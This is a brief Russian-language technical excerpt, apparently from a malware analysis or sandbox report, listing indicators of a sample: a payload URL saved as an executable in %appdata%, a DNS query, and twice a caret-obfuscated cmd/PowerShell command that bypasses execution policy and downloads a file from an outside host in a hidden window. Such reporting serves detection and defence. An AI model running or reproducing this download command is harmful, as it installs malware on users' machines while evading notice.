Техническая информация
- http://www.dqpowera.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "powERs^He^ll.^eX^E^ -E^X^Ec^uT^I^o^NPoL^icy b^yp^ASS ^-n^Opr^Ofi^Le -winD^OwstYl^E^ ^hId^De^N^ (nE^w^-obJe^c^T s^YsT^Em^.nE^T.WebCLiENt^).do^wn^lO^AdF^iLe('http://www.dqpowera.to...
- DNS ASK dq###era.top
- '<SYSTEM32>\cmd.exe' /c "powERs^He^ll.^eX^E^ -E^X^Ec^uT^I^o^NPoL^icy b^yp^ASS ^-n^Opr^Ofi^Le -winD^OwstYl^E^ ^hId^De^N^ (nE^w^-obJe^c^T s^YsT^Em^.nE^T.WebCLiENt^).do^wn^lO^AdF^iLe('http://www.dqpowera.to...' (со скрытым окном)